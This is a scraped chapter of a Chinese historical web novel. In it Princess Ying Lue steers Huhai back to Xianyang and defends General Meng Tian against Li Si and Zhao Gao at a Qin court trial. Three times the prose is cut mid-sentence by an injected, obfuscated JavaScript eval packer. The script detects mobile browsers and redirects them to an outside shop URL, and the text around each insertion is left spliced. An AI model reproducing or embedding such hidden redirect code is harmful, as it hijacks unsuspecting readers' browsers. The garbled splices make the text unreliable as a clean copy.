她只能死死压制住内心的惊疑和哀恸,待再次睁开那双眼睛时,她的面上再无失态之色,转而问起了另外一个人,“那么,蒙恬将军呢?” 胡亥未料到她还会问到蒙恬,不过思及三年前那场在咸阳闹得沸沸扬扬的拒婚,他戏谑道,“他不肯死,暂时被羁押在阳周狱。我记得他好像得罪过王姊。三年前他当众拒婚令王姊在县官显贵中颜面尽失。不如孤就借此机会处死他,替王姊出了这口恶气如何?” 嬴略惊诧地看着他轻描淡写地决断一位戍边大将的生死,从前的公子胡亥口诎而笃厚,轻财却重士,现在这种天真的邪恶让她感觉陌生而可怖。 “不可。” 胡亥转过身来,似笑非笑地看着嬴略,“怎么?一个戍边将军而已,王姊不会事到如今还对他念念不忘吧。” 嬴略没有理会胡亥这种风花雪月的猜想,她的声音清醒又克制,“王兄已死,上郡之危已解。至于蒙恬,他毕竟是君父生前最为尊宠的忠信之臣,是否不忠应该留待回京之后依法案治。耽误之急是太子打算如何处置君父的身后之事?” “丞相已谏言,上崩于外,大臣未附,宗室未信,若此时发丧,恐怕诸公子相争引得天下有变。所以只能秘不发丧,按君父生前规划的路线继续巡游,直至返回咸阳。” 嬴略微微颔首道,“丞相侍奉君父数十年,秘不发丧一事甚有远见。臣亦可在辒凉车中为君父守灵,太子可对外宣称,陛下病笃,召臣日夜侍疾于榻前,未免耽搁病情,其他人非召不得入见。如此便可助太子隐瞒上崩于外的消息。” “只是……” 嬴略稍作停顿,她本能地朝躺在榻上的始皇帝投去了敬畏的目光,“虽已入秋,暑气却未消,若按君父生前规划的路线继续巡游,太子打算如何保存君父的尸身?不会是想让君父躺在辒凉车中变成一车风干的鲍鱼吧。” 胡亥好像还真的听赵高这么提过什么鲍鱼,他也本能地朝榻上的君父投去了敬畏的目光,仿佛他会被姊弟俩气活过来一样。 他狐疑地看了嬴略一眼,“王姊的意思是我们应该尽快返回咸阳?” 嬴略恭谨又坚定地谏言道,“臣昧死言,如何处理君父的身后事涉及太子即位的正统性。上郡之危已解,太子有遗诏在手,又有巡游重臣辅弼,理应即刻返回咸阳发丧。只要回到国都,一切事宜处理起来都会更加‘名正言顺’。若是带着君父的梓宫继续巡游,天长日久,难免欲盖弥彰,更会令人对遗诏的真假生疑。况且,天底下岂有太子离都而庶孽守国门的道理,太子难道不想尽早还都,昭告天下即位称帝吗?” 听到嬴略的谏言字字句句皆是为自己谋算,胡亥心中对她的怀疑逐渐打消,王姊是聪明人,又有少小相伴的情分在,她知道该如何选择,事到如今她也只能选择自己。 况且,她的一番话正中胡亥下怀,尤其是最后一句话。 他可太想尽早即位了。咸阳有那么多公子对皇位虎视眈眈,他怎么能放心在外面拉着君父的梓宫游荡,如果不能即位称帝,那么他所做的一切岂不是为他人做了嫁衣裳。 他的眼眸暗了暗,似是下定了某种决心,“王姊所言甚合孤心意。明日就启程还都。” ————————— 紧急还都的上意虽然突如其来,但并未在巡游御驾中引起太大慌乱。 大秦帝国的行政体系自孝公起被重新改造,至始皇统一天下,已经形成一套系统缜密的执行机制,仿佛一辆制作精良的马车,百官是各司其职的构件,而皇帝就是执策的御手,只要御者挥动马鞭,整个马车便按照上意向前开动。 至于巡游路上的重臣们,他们既对得知的真相缄口不言,对所谓的上意也沉默不语。 丞相李斯和中车府令赵高像是被当头棒喝了一样,赵高一接到还都的命令就来找他貌合神离的盟友商议。 “昨夜太子在先帝寝殿中单独召见了长安公主,这样的安排显然是长安公主的谏言。我早就提醒过君侯,长安公主会是变数。可惜君侯并未把我这个小人的示警放在心上。” 事到如今,李斯仍然对赵高的担忧不以为然。 他只是觉得痛心,先帝英明一世临终前身边却只有这么一双只会拍脑袋做决定的子女。如果先帝不是驾崩在巡游路上,他也不会出于社稷安定被迫选择扶持公子胡亥。 这一切真是太巧合了,仿佛上天只是开了一个无可厚非的玩笑,然而这个无可厚非的玩笑却足以震动整个天下。 “只是一个公主而已,赵君何须如此慌张。反正公子扶苏已经死了,一些细枝末节的变数并无大碍。” 士人出身的李斯早已将那套君臣尊卑的等级制度刻在了骨子里。为此,他不仅看不上隐宫罪人出身的赵高,就连最得荣宠的长安公主在他眼里也不过是一介后宫女流,这种高贵的女人他们家又不是没有。 “扶苏虽死,蒙恬却还活着。” 早在沙丘惊变时赵高就用相同的话术邀请李斯入了这场生死赌局,他是惯会拿捏李斯痛处的,蒙恬的光芒太耀眼了,闪到了他那双精明似鼠的眼睛。 李斯难得施舍了一个眼神给这个曾经为始皇帝驾车的马夫长,“只是现在还活着而已。将要即位的是你我扶持的公子胡亥而不是与他有旧交的公子扶苏,从沙丘之谋开始,他的死亡已经注定了。” 赵高却高深莫测道,“未必。长安公主可能继续成为这个变数。” “赵君是说长安公主会在太子面前为蒙恬求情?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362076|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李斯摸了摸他早已花白的胡子,轻蔑地笑了起来,“蒙恬曾拒婚于长安公主,令她在县官显贵面前颜面尽失,又怎肯为蒙恬求情。依我看,不落井下石都对不起她恣睢骄横的名声。” 赵高摇了摇头,“‘士之耽兮,犹可说也。女之耽兮,不可说也’。数年前长安公主就曾向先帝自请下嫁蒙恬,却未能如愿,万一如今她依旧为其色令智昏呢?” 李斯仿佛听到了什么荒谬之言,忍不住吹胡子瞪眼道,“‘色令智昏’?蒙恬一个年逾而立的戍边将军,他能有什么色?” 赵高忍不住笑道,“我听闻丞相想替长孙求尚长安公主,此言莫非是嫉妒蒙恬?” 李斯道,“你这是什么话?难道天下好事,蒙氏独占?况且,长安公主是被宠得恣睢骄横,又不是头昏眼瞎,不会上赶着做这种自取其辱之事。” 赵高知道李斯心中看不起他,因此并未和他再费口舌,只是在心里暗道,且让我们拭目以待吧,希望君侯莫要追悔莫及。 ————————— 吱呀—— 随着使者推门而入,暗无天日的阳周狱终于迎来了久违的光亮。 已在狱中独坐数日的蒙恬鬓发散落,髭须凌乱,却依旧岿然不动。 使者展开诏书,缓缓宣判道。 “皇帝陛下诏令,内史蒙恬之过多矣,而卿弟毅有大罪,法及内史,朕不忍罪及其宗,乃赐卿酖酒以自裁,亦甚幸矣。” 蒙恬闭目叹息,似乎早已预料到这样的结局。 “我妻前往沙丘为我陈情,不知她现下如何?” 使者掩唇冷笑,“将军不必再等了,夫人在沙丘平台不幸难产,母子俱亡,一家人想必能于黄泉路上再相会。” 难产?黄泉路上相会—— 不可能——这绝对不可能。 陛下怎么会让她死,除非—— 蒙恬不敢置信,初闻如坠数九寒窟,继而仰天大笑,血泪泣下,红色的血泪与黑色的漆案交织在一起,泾渭分明。 “我何罪,我妻何罪,蒙氏何罪——” 使者对这位忠信之臣的冤屈并无同情,反而“适时”令人呈上一卮酖酒,做了一个请的动作。 为了让这位威震匈奴的大将军安心上路,使者最后甚至添了一笔欲加之罪。 “内史之罪自然当死。君筑长城西起临洮,东至辽东,筑挖城堑万余里,其中焉能没有绝断地脉?” 绝断地脉? 曝师于外十余载,逐退匈奴七百余里,开疆拓土,戍卫万民。凡此种种,却因一个欲加之罪落得家破人亡。 从忠信之臣至穷途末路,他的仕途起于这人心阴暗之处,也终于这人心阴暗之处。 昏暗的狱墙上映射出端平正直的高大身影,触碰金樽的唇角微微上扬,一字一顿地叙述着他身为秦臣的最后谏言。 “身系囹圄,虽有反叛之势,终不敢辱没先祖教诲,不敢辜负先帝厚遇……臣将以谏而死,愿陛下为万民思从道也。” ————————— 蒙恬第二次从梦魇中惊醒,酖酒在肠胃中的翻涌灼烧之感依旧无比真切。 更令人觉得可怕的是,此时此刻,他的确身系阳周狱中。 吱呀—— 阳周狱的门再次打开,梦境与现实交织在一起,蒙恬已经分不清这是第几次宣召了。 使者逆光而来,大声宣召。 “朕念蒙氏三代积功信于秦,内史蒙恬北抗匈奴之功,不忍罪蒙氏全族。今令蒙恬以兵属裨将王离,速回咸阳待审。” “敬诺。” 蒙恬对着诏书深深一拜,狱中洒落的阳光在阴影和大地之间被切割成了一条光线,如同他的一线生机。 5. 秦廷会审 古道西风,夕阳西下,一辆青篷立车终于在天光将近时颤颤巍巍地晃到了咸阳城门前。 然目之所及,皆陈缟素,恍若一夜之间大雪满皇都。 此乃国丧,天下失始皇帝,皆惧恐悲哀甚。 立车上的蒙恬拘执束缚,犹自伸手去接薄暮杳冥中掠过残阳的飞蓬。 ——“蒙卿此去,任重而道远。上郡苦寒寂寥,本已为卿觅得佳妇陪侍在侧,奈何卿勤劳王事,无意婚嫁,朕亦不能夺卿忠志。” ——“辜负陛下好意,臣实在惶恐。” ——“守疆远比拓土难,望卿看好我大秦疆土,护好我大秦臣民,毋使胡人有窥视之心。” ——“臣,定不辱命。” 蒙恬在在秋风萧索中颓然落泪,陛下,戍边三年的蒙恬回来了。 ————————— 时隔三载,蒙恬再次跪在宏丽靡靡的宣政殿内,听凭新帝最后的宣判。 “丞相以内史有不忠之罪,罪及宗族。朕不忍心,乃赐卿独死。蒙卿还有什么可说的?” 秦廷上下一片寂然,所有目光都注视在蒙恬身上。 从前众人瞩目的是先帝尊宠的忠信之臣,如今众人审视的是已失帝心的代罪之身。 “臣无罪。” 即便全身被污,那双眼睛也是清明的,他丝毫不畏惧这些审视和质疑的目光。 “自吾先人,及至子孙,蒙氏积功信于秦已有三世。先帝更是对臣委以重任,命臣率军三十余万戍卫上郡。臣虽身系囹圄,势力却足以反叛。然臣绝不敢辜负先帝厚遇,亦不敢辱没先人教诲,即便要死,也愿死于“忠信’之名。” 高处突然传来一声讥笑,“内史所言慷慨激昂,深赞先帝的厚遇之恩,仿佛今上即位就是要冤杀了你一般。” 那讥笑声突兀而尖锐,并非来自高高在上的二世皇帝胡亥,而是来自他身侧的赵高。 蒙恬横眉怒对赵高,慷慨陈词道,“陛下明鉴,蒙氏之宗,世无二心。事情之所以到今天这个地步,必是因为孽臣犯上作乱、欺君罔上!” 蒙恬毕竟是率军三十余万的大将,赵高不敢直接对上他的威视,只能更加低眉俯首地缩在胡亥身侧。 位列群臣之首的李斯自以为大局已定,轻蔑一笑,“内史不妨明言,那犯上作乱、欺君罔上的孽臣到底指的是何人?” 蒙恬并未回答李斯的问题,而是与他对视直言不讳道,“丞相既为百官之首,又曾在先帝面前力谏大秦上下‘以吏为师’,那么敢问丞相,何为吏治官之道?” 李斯道,“我既为百官之首,有权问责内史之罪,内史何故避己罪而言他?” “凡为吏治官,务求贞良正直,宽容忠信;固守法理,遏制私心;见利不苟取,临难不苟免。凡此种种,还请丞相反躬自省,可曾做到百官表率?” 此问一出,问责和被问责的角色似乎被调换了。 不仅李斯沉默了,位列他下首的百官也无一人敢大声出气。 这哪里是为吏治官之道?圣人看了都要喊一声严苛。 “诸位皆是位列宣政殿的秦廷重臣,若连基本的为吏治官之道都无法做到,岂非欺君罔上、阿谀逢迎的孽臣。” 一向慎独慎微的蒙恬不仅直言不讳地挑战百官之首的威信,更是平等地扫射每一位同僚。这是所有人都未曾预料到的场面。 仕途老道的李斯并不打算回答他的质问,而是另外抛出了一个问题,“内史自陈无罪,可是率军三十余万却数年未能开疆拓土,身为戍边大将,无功便是有过。” ——“内史若是无功,诸位还有机会站在这里满口仁义道德地论断他的功过吗。” 未见其人,先闻其声。 众人皆循着声音朝殿外看去。 但见来人恍若正午时分耀眼的阳光,不容忽视,也不可直视。 来人正是始皇之女,二世女兄——长安公主。 嬴略来到大殿中央先地朝着胡亥恭恭敬敬行了一礼。 胡亥果然一如既往地亲近这个王姊,示意近身侍奉的宫人他下首添置了一处席位。 嬴略径直走向了上位,坐下之前,她瞥了一眼胡亥身侧的赵高,“你站在这里做什么?” “臣……” 赵高正待巧言善辩,嬴略却是直接打断了他。 “上位不是臣下该待的地方。陛下看重你,但你要清楚自己的位置,不要丢了陛下的脸面。” 赵高只觉得胸中突然被堵了一块大石头,暗自将袖中的手紧了又紧,被从高位上赶下来之前,他悄然用阴毒的目光将满堂高位之人都凌迟了一遍。 他知道他们一直都看不起他,哪怕他比别人付出千百倍的努力才从隐宫罪人之子升到了九卿之一的郎中令,他依然是身居高位者不屑一顾的卑贱之身。 为何人生来就有贵贱之分,云泥之别? 难道出身微贱,一辈子就只能奴颜婢膝吗? 他不甘心,他真的不甘心。 臣人与见臣于人,制人与见制于人,这数十年来,他跟在始皇帝身边看得太清楚了。 他不想再任人宰割,他不想再媚上劳形,他要一步一步做到最高,他要一人之下,他要权倾朝野,甚至连那个至尊之位,他也不是不能窥视…… 迟早有一天,他要让这些所谓的高官显贵尝尝被他这个卑贱之人践踏到泥土里是什么滋味。 然而理想总是很丰满,现实总是很骨感。 他从高位上被赶下来之后,突然发现丹陛之下也没有属于他的臣子席位。 是啊,中车府令,说来也是执掌乘舆之官、专为皇帝驾车的“近臣”。然而在秦国最高权威的殿堂上,他这个司机连最末流的九卿都排不上号,又怎么配在宣政殿内拥有一席之位。 正当赵高颇觉踌躇尴尬之际,胡亥却对众人笑道,“中车府令高通于狱法,行事敦勉,故先帝尝令其教朕书及狱律令法事,于朕实有师恩,今特征召为郎中令,事朕左右。” 此令一出,自有殿内侍从为其备好席位,班次仅在丞相李斯之下。 才从窘迫之中缓过来的赵高立刻转变了一副诚惶诚恐的感激之情,伏地再拜之后才落座李斯之后。 而李斯面上虽不动声色,心里却把这个蒙恩擢升的小贱之人鄙视了八百回。 什么小贱之人,也配坐在他的下首。 待秦廷争端告一段落后,胡亥才笑着看向嬴略道,“王姊怎么来了?” 嬴略好整以暇地整理了一下腰间的组玉佩,才对着胡亥迤迤然道,“宣政殿有这样的好戏,陛下怎么也不叫我?” “我以为王姊对这些满口仁义道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362077|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德的问责不感兴趣。” “听说有故人在此,所以想来瞧一瞧。” 蒙恬觉得有一道目光投在了他身上,可是当他抬眸去寻时,那道目光又飘然移到了别处,仿佛方才的一抹特别的注视只是他的错觉。 然而,那道目光虽只停留在他身上一瞬,他却对高位上的人一下子移不开眼。 传闻长安公主明艳动关中。 从前,自以为见惯了各色美人的他对这种传闻颇不以为然。明艳罢了,还能如何明艳? 耀乎若白日照其光;皎兮若明月舒其华。须臾之间,美貌横生;详而视之,夺人目精。盛矣丽矣,世所未见 片刻的失态过后,他又立刻低下了头。 岂止貌美?——恍若天人。 胡亥知道她指的是谁,从前在沙丘时他便下意识想要试探过她的心意,如今她再次出现在这里,也算是在他的意料之中。 稳坐上位之后,嬴略再次重申道,“还请丞相回答我方才的疑问,内史若是戍边无功,任由胡人的铁骑南下,犯我中国,凌我臣民,诸位还有机会安坐于高堂之上泛泛空谈他的罪过吗?” 嬴略一出声,满座哗然。 望着下面群臣的窃窃私语,她继续道,“方才内史质问丞相可曾遵守为吏治官之道,若是您这位百官表率都未能做到,何来资格问责他人。我记得先帝在时,为吏治官不直者或发配至北境筑修长城,或流放至南境开拓南越。诸位与其在高堂之上泛泛空谈,不如亲至北境筑修长城与直道之后,再来论断内史的功过如何。” 李斯毕竟老成持重,他并未被嬴略的三言两语绕过去,而是避重就轻地转移了话题,继续问责蒙恬。 “难道有功便可以掩盖过错了吗?内史或许有功于社稷,然其在上郡戍边多年,自然是公子扶苏的旧部信臣,非但未出言匡正扶苏对先帝的不满和怨怼,更有参与扶苏对东宫的谋划之嫌,可谓是为人臣不忠。” 与李斯的频频回避不同,嬴略则是直面了李斯的问题,“如此,还请丞相拿出蒙恬参与东宫之争的证据。否则,便是空口无凭,无端揣测,构陷同僚。” 赵高虽然与李斯貌合神离,但毕竟还是一条船上的同盟。既然李斯用士人那一套辩术落于下风,就别怪他便以小人之心蓄意揣测了。 “臣听闻公主多年前曾自请下嫁内史蒙恬,今日如此替他陈情,莫非是因为私情难忘?” 赵高的声音不大,却很刻意。 此言一出,几乎所有人都将目光集中在了上首的嬴略身上,绯闻秩事由来最吸引人的注意,更何况是县官的热闹。 就连一向端平守正的蒙恬也忍不住抬头看向高位上端坐着的嬴略。 当年他着急返回上郡筑修长城和直道,并未深究始皇帝陛下赐婚的内情。 她当年竟然是自请下嫁? 嬴略稳坐上位,并未如众人想象的那般气急败坏。她的唇角微微上扬,笑意十分轻蔑,声音却是一如既往地盛气凌人。 “郎中令精通律法,可知羞辱县官是何罪名!众所周知,当年赐婚一事乃由始皇帝陛下亲自垂询,何来私情!如此出言污蔑大秦公主,郎中令是在藐视先帝还是在侮辱县官?” 赵高的膝盖还是一如既往地不值钱,“臣绝无此意。长安公主所言,臣实在惶恐……” 6. 针锋相对 一直看热闹的胡亥此时却突然开口打圆场,“当年陛下赐婚一事人所共知,王姊已经为此事受了太多的非议和委屈,赵君何必旧事重提惹人伤心呢?” 胡亥的态度十分暧昧,轻描淡写几句话,名义上是维护嬴略,实际却是洗去了赵高的疑点和罪名。 嬴略继续道,“陛下明鉴,因着当年拒婚一事,臣与内史不仅没有私情,更有私怨。然臣贵为大秦公主,尚且能够公私分明。而有些人却为了一己私怨,构陷同僚,意图借陛下之手除掉政敌,陛下天子之尊,怎可做了臣工相争的那柄利刃呢?” 胡亥眼睛微眯,立刻警觉了起来,他狼视了一圈陛下所有人。 从前他的君父做始皇帝的时候如何独断专行早有范例,而今他为二世皇帝,岂能任由大权旁落,成为朝臣控制的一只傀儡。 “王姊此言何意?” “与内史有私怨者又何止我一人。在座的诸位……” 于是,今日被叫来参与会审的群臣在被胡亥无辜狼视了一遍之后,又被另外一个姓嬴的扫视了一遍。 “据我所知,至少丞相和郎中令都与内史有私怨。先帝在时,郎中令曾犯有大罪,先帝令上卿蒙毅依法案治,蒙毅不敢阿法,按律治他死罪。然先帝毕竟宽厚,念他素日做事敦厚,特赦其死罪。可郎中令却由此对蒙氏心生怨恨。至于丞相,虽然贵极人臣,可是蒙氏兄弟深受先帝尊宠,将相莫敢与之争,丞相莫不是被蒙氏尊宠的光芒闪到了精明似鼠的眼睛。” 骤然被揭短处,赵高却是惯常低眉俯首,敢怒不敢言。 被点到的那双精明似鼠的眼睛虽年逾古稀却炯炯有神,“公主即便贵为天子之女,也无权信口治臣下之罪吧。” “怎么,方才郎中令以下犯上,污蔑本公主声名的时候不见丞相出言护主,如今本公主不过是实话实说就成了仗势欺人,岂不是太荒谬了。” 说着,嬴略又朝着皇位上的胡亥恭谨道,“臣昧死言,丞相和郎中令身为臣下,却不思忠心报主,反倒意图借天子之手置同僚于死地,这是对皇帝陛下的藐视和不忠,更是将个人恩怨置于秦国社稷之上。何况先帝尸骨未寒,陛下却受蒙蔽无辜处死先帝重臣,岂非令天下人非议先帝昏聩,用人不明,抑或疑心陛下不孝,不能继承先帝遗命?” 胡亥起初并未在意嬴略的一番长篇大论,但是嬴略最后一句话却提及了“不孝”二字,在沙丘行宫时的那种惊疑又突然攫住了胡亥的心。 想当初他们赐死扶苏的罪名便是不孝,即便是在民间,不孝也是重罪,子不孝父,轻则流放,重则处死。 “王姊以为丞相和郎中令对朕有二心?” 嬴略泠然一笑,愈发恭谨,“有无二心自当由陛下圣裁,臣不敢擅专。只是……” 顿了顿,她有意瞥了一眼下首的李斯,却是靠近胡亥悄声笑道,“留着蒙恬,他或许还能成为陛下手中制衡权臣的利刃呢。” 嬴略的刻意逢迎和出谋划策将胡亥心中渴望被追捧的空缺填补得很到位,后面一句只有两人才能听到的密语更是令胡亥有昭然若发矇之感。 他的王姊真是替自己计深远了,所言无不击中自己心中所想。 于是,对于群臣争议的会审结果他当下便做了决断。 “朕本也不想赐死内史,奈何丞相和郎中令以为内史有不忠之罪,所以今日才当廷会审。如今既无实证,朕便赦免内史之罪。” “但是……” 胡亥眼中重现了沙丘平台时的狠厉之色,“蒙毅曾在先帝面前非议朕不能被立为太子,他必须死。” 尽管公开会审的结果只是赐死了一位蒙氏,赵高脸上那种复仇成功的得意之色无论如何也掩盖不住。 他下意识地去瞄方才极力为蒙氏陈情的长安公主,却见嬴略面上一片从容,并未表露任何不满之色,也未有任何反驳之言,仿佛她真的只是来看戏,并不在意这出戏的结果。 而李斯入仕三十余年,早已熟知人主外恭而内倨的本色。表面上装模做样,礼贤下士,甚至不惜自降身份与人亢礼;实际上,这些坐拥天下的人主无不倨傲恣睢,而人主之子更是无功而位尊,无劳而奉厚,如高位上这对姊弟甚至连外恭的表面功夫也不愿意做。 李斯正想着,并未发觉嬴略不知何时已经来到了他身边。 “看在君侯于大秦有不世之功的份上,我好心提醒君侯一句,与其防范君子,不如防范小人。君侯觉得扶苏亲近蒙恬,恐蒙恬夺你尊位,可今上是真的亲近赵高,君侯怎就料定自己的丞相尊位一定不会被小人所夺呢。我们大秦可是历来就有新主不用旧臣的惯例,丞相可别防错了人哪。” 嬴略的声音虽小,却听得李斯猛然心惊。 李斯正想出声反驳些什么,嬴略却在与他对视之后擦肩而过。 嬴略那双酷明眸让他一刹那有些恍惚,世人都说这双眼睛酷肖始皇帝。 他还记得那年他在始皇帝面前离间一位故人的时候,始皇帝也曾用这样的眼神看过他,那双光明洞彻得眼睛早已洞悉他心中的一切想法。 然而,始皇还是成全了他的图谋。 当日他是为了什么置故人于死地,今日就是为了什么置蒙恬于死地。 因为他不想再从仓鼠变回厕鼠。 深受尊宠的蒙恬确实有实力抢他的尊位,而赵高,小贱之人而已,怎么可能有能耐抢自己的丞相位置。 若是此等贱人都能位极人臣,他岂不是白干了这么多年。 是了,是了,这不过是个简单又歹毒的离间之计罢了。 早在入秦侍奉先帝之前,他就已经师从荀子学习帝王之术,今日又怎会中了一个小女娃的离间计。 他当年在先帝面前使用离间计图谋爵禄的时候,这个小女娃还没有出生呢。 不过,李斯那双精明的眼睛依旧保持着观人细致入微的习惯。 嬴略虽然在秦廷上与他针锋相对,却也让他惊喜地发现始皇二十余子之中竟然还有一位他从未注意过的沧海遗珠。 她不仅仅是眼睛酷肖先帝,连性情和脑子也有几分先帝的影子。 可惜了,只是一位公主。 不过,是位公主也蛮好的。 尽管她方才将矛头对准的是自己,但若是她能下嫁他们李家,这把锋利的矛头将会为他所用。 届时,他与二世的亲近关系可就远超赵高这个小贱之人了。 早在二世当廷宣布蒙恬无罪的时候,已有值守的郎中进入殿内替蒙恬卸下身上重重的枷锁和束缚,而劫后余生的蒙恬却有些倦怠和恍惚,他目光涣散地看着散场的人潮。 他真的活下来吗? 他都已经做好了赴死的准备,可是他竟然活下来了。 梦魇中的一切都已经得到验证,先帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362078|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驾崩,公子自刎,唯独他活了下来。 这不是出于上天的眷顾,不是出于君王的怜悯,亦不是出于同僚的援手。 而是因为一个女子,一个他意想不到的女子。 涣散的目光重新被聚拢,长安公主呢? 他四下去追寻方才群臣中那个光芒万丈的女子,可她早已随着熙熙攘攘的人潮退场。 直到退场,那双明眸都不曾在他身上多停留一瞬。 ————————— 巍巍殿宇,重重楼阁,复道弯弯若霓虹,帷幕翩翩若霜雪。 那位窈窕佳人伫立在宣政殿旁的复道上,凭栏远眺,白衣飘飘,仿若那肌肤若冰雪,绰约若处子的姑射神人。 “公主。” 蒙恬失神地走上前去,一步一步地拨开重重帷幕,恍若梦中之人神姿重现。 远在天涯,近在咫尺。 清风微微拂动蒙恬鬓边的散发,他忽然有些不敢近前。 “久违了,蒙内史。” 蒙恬那双深邃的眼眸微微颤动,他回过神来,终究是被梦魇侵扰了太久,他几欲混淆真实的梦境和荒诞的现实。 “臣前来拜谢公主救命之恩。” 然而那位窈窕佳人只是留给了他一个矜贵的背影。 “谢我?我还以为内史当年执意拒婚的时候,很是看不上我这位恣睢骄横的公主,未曾想到有朝一日竟还肯在我面前低头。” 蒙恬并未起身,继续诚恳道,“当年拒婚一事,臣虽无意伤及公主的声名,却令公主深陷拒婚非议。实在是臣之过。” 她微微侧目,唇角勾勒出一抹似有若无的笑意。 “三年了。内史以为我还会在乎一个迟来三年的道歉吗。” “其实臣当年……” 蒙恬正想解释什么,她的声音却是明明白白的拒人于千里之外。 “不必解释。你从前不喜我这样恣睢骄横的女子,现在也不必‘屈尊’向我解释什么。” “从前是臣误解了公主的为人……” 那位窈窕佳人终于转身,那张脸艳若桃李却冷若冰霜,她徐徐行至蒙恬身边,居高临下地微微俯身道。 “我记得内史正式入仕前曾负责记录狱典文学,对于毫不相干之人尚且能明察秋毫,怎么对于即将嫁你为妻之人却偏信流言了。” 二人之间的距离从未如此近,近到蒙恬只要稍一侧目便能触及她耳畔轻轻摇晃的明月珰。 似乎是已经感受到了他的窘迫,她在他耳畔轻笑了一声之后就起身了,声音依旧是那么高高在上,遥不可及。 “自然,你也不必因为我方才的陈情就对我改观,因为我着实同传闻一样恣睢骄横。从前是,现在是,以后也会是。” 她微微扬起的裙裾轻轻扫过他安放于侧的手,有些发痒,让他忍不住想触及什么。 “既然你非要当面谢我,我就索性把话说清楚。我之所以在大殿上为你陈情,只是因为你于大秦有功。国之栋梁,理应支撑社稷庙宇,岂能为蠹虫蛀蚀。” 如此溢美之词从长安公主咄咄逼人的嘴里说出来,是蒙恬属实未能想到的。 她也太过公私分明了。 离去之前,她再次加深了这种“刻板”印象。 “你我之间积怨已久,日后也不必再相见,免得相看两相厌。我言尽于此,内史好自为之吧。” 7. 渭阳学宫 “死离生别,一似庄周梦蝶。” 渭阳学宫的茂林修竹间,一位身形魁伟的白袍长者负手立于孤竹亭内,仿若遗世独立飘然羽化的仙人。 然而当他转过身来露出那张泯然众人的脸时,不免又让人有些失望。 此人正是如今渭阳学宫的祭酒宋怀子。 渭阳学宫,地处骊山之南、渭水之北,其始建还要从秦王政未亲政时说起。 彼时,炙手可热的相国吕不韦欲揽天下有学之士,厚遇之,意图著就《吕氏春秋》,扬名天下。 适时,齐国渐衰,稷下之士多有弃齐而就秦者。 其后,吕不韦因嫪毐之乱坐免,饮酖而死。而吕不韦门下一些识时务的有学之士依旧选择留于秦国效力。在秦王政的支持下,留在秦国的有学之士效仿齐国稷下学宫建立起一座官家举办,私家主持的学宫,以《秦风·渭阳》篇名之曰渭阳学宫。 然而,自焚书政策以来,秦国上下奉行“以吏为师,以法为教”的国策,“百家争鸣”的时代已经远去,渭阳学宫几乎成为秦国官方扶持的一言堂,连任十数年学宫祭酒的宋怀子亦逐渐淡出秦廷,成为一个不问世事的方外之人。 螭梁铜盉上正温着热浆,早有侍奉的学僮替二人各添了一卮热浆,时近立冬,虽冬雪未至,却寒气渐重,温浆论道再适宜不过。 宋怀子坐回孤竹亭内,拿起漆卮啜饮了一口热浆方道,“蒙君今日来拜访,就是为了这些虚妄又真实的梦境。” 距离秦廷会审上被宣判无罪释放已有数月,历经生死巨变的蒙恬却是一副怅然若失的样子。 “不瞒先生,我已经被这些梦魇侵扰许久。恍恍惚惚地不知道自己如今是醒着还是在做梦。” 秋风袭来,一片枯黄落叶恍若一只蝴蝶从猗猗竹海飘落下来,宋怀子宽厚的手掌顺势接住了那片枯黄的“蝴蝶”。 “梦耶?非耶?无论是庄子还是蝴蝶,他们某种程度上都是虚幻的。于庄子而言,变成蝴蝶不过是他的一场梦;可是于蝴蝶而言,变成庄子才是那个梦。其实人生恍惚数十载,不过是大梦一场罢了。” 蒙恬的手紧紧攥着案前的漆卮,如果眼下的一切只是梦,而梦中的一切才是现实…… “宋子,我不甘心。” 又是一阵秋风拂过,宋怀子手中那只枯黄的“蝴蝶”又乘势而起,栩栩然不知将要飘向何处。 “‘昨日之日不可追,今日之日犹可待’。既然阳周惊梦已经无法改变,那么如今何妨当作大梦初醒,将梦中的遗憾和不甘尽数弥补了。” 蒙恬看着虚无缥缈的雾气从面前的漆卮中氤氲而出,又消散在空中,喃喃道,“今日之日犹可待……” “是啊,幸而梦魇并未全部应验,你还好端端地站在这里同老夫坐而论道不是吗?” 宋怀子的一番言辞轻描淡写却指出了问题的关键,——始皇驾崩,扶苏自刎,梦魇一一应验,唯独他没有死在阳周狱中。 为什么唯独他可以逃脱既定的命运? 像是灵光乍现一般,他再次想到了阳周狱中那一线生机,洒落的阳光在大地和阴影之间被切割成了一条光线,而阳光的尽头,缓缓出现一位逆光而来的女子,她和周遭的光芒万丈几乎融为一体—— 正当他极力想看清她的模样时,一只横空出现的手忽然挡住了他眼前的光亮。 